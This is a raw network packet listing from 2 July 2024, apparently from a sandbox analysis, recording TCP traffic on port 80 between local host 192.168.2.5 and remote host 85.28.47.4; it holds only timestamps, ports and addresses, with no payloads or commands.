Jul 2, 2024 04:12:00.172626019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172656059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172666073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172683001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172696114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172697067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172714949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172733068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172765017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172768116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172779083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172796965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172808886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172828913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172838926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172838926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172858000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172868013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172871113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172888994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172900915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172904015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:00.172939062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.172960043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.667069912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:00.671953917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:01.391256094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:01.391380072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:02.078613997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:02.084291935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:02.786482096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:02.786577940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:04.044696093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:04.049588919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:04.745573997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:04.745646000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.469742060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.474806070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647661924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647753000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647751093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.647763968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647783995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647799015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647799969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.647815943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647830009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647838116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.647841930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647870064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.647887945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.647958994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647972107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647995949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.647999048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.648005962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.648017883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.648031950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.648032904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.648041964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.648052931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.648067951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.648087025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.735937119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.735970020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.735985041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.735995054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736006975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736012936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736026049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736046076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736052990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736093998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736093998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736109018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736123085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736128092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736133099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736134052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736152887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736166954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736170053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736186981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736191988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736201048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736217022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736231089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736236095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736243010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736259937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736268997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736270905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736274958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736285925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736304998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736314058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736319065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.736321926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736341953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.736373901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812370062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812387943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812414885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812429905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812439919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812460899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812472105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812494040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812499046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812496901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812506914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812524080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812527895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812536001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812546015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812546015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812560081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812571049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812582016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812592030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812601089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812613010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812625885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812633038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812643051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812647104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812666893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812678099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812681913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812690973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812697887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812719107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812731981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812743902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812745094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812766075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812772036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812788963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812791109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812807083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812814951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812827110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812828064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812846899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812854052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812858105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812872887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812875986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812885046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812903881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812918901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812933922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812947035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812963963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.812969923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812980890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.812999010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813010931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813024044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813033104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813060999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813076973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813102007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813112974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813127995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813144922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813165903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813277006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813288927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813303947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813317060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813322067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813338995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813347101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813353062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813370943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813376904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813402891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813404083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813416004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813431025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813436985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813442945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813452005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813469887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813484907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813494921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813512087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813524961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.813527107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813549995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.813575983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894610882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894643068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894663095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894673109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894691944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894702911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894706964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894722939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894732952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894746065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894746065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894754887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894768953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894773960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894788980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894790888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894807100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894819021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894839048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894843102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894859076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894860983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894875050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894886971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894897938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894906998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894910097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894931078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894941092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894952059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894958973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894962072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.894972086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.894984961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895016909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895021915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895025015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895032883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895059109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895061016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895068884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895072937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895087957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895102024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895102024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895106077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895134926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895134926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895234108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895248890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895258904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895275116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895275116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895298958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895338058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895348072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895370007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895376921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895387888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895391941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895407915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895426035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895436049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895447016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895467997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895477057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895493984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895508051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895509005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895509005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895509005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895509005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895524979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895533085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895540953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895550966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895564079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895585060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895602942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895613909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895642996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895643950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895656109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895669937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895682096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895687103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895709038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895729065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895734072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895740986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895772934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895781994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895869970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895879984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895896912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895906925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895908117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895924091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895936966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895950079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895951033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895958900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895967007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.895965099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895981073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.895987034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896003962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896004915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896013975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896023035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896051884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896194935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896217108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896229029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896241903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896248102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896259069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896279097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.896281958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896307945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896307945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.896320105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901607990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901644945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901652098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901659966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901679993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901695967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901753902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901765108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901782990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901793003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901793003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901808977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901819944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901830912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901830912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901854038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901864052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:05.901865005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:05.901882887 CEST	80	49704	85.28.47.4	192.168.2.5
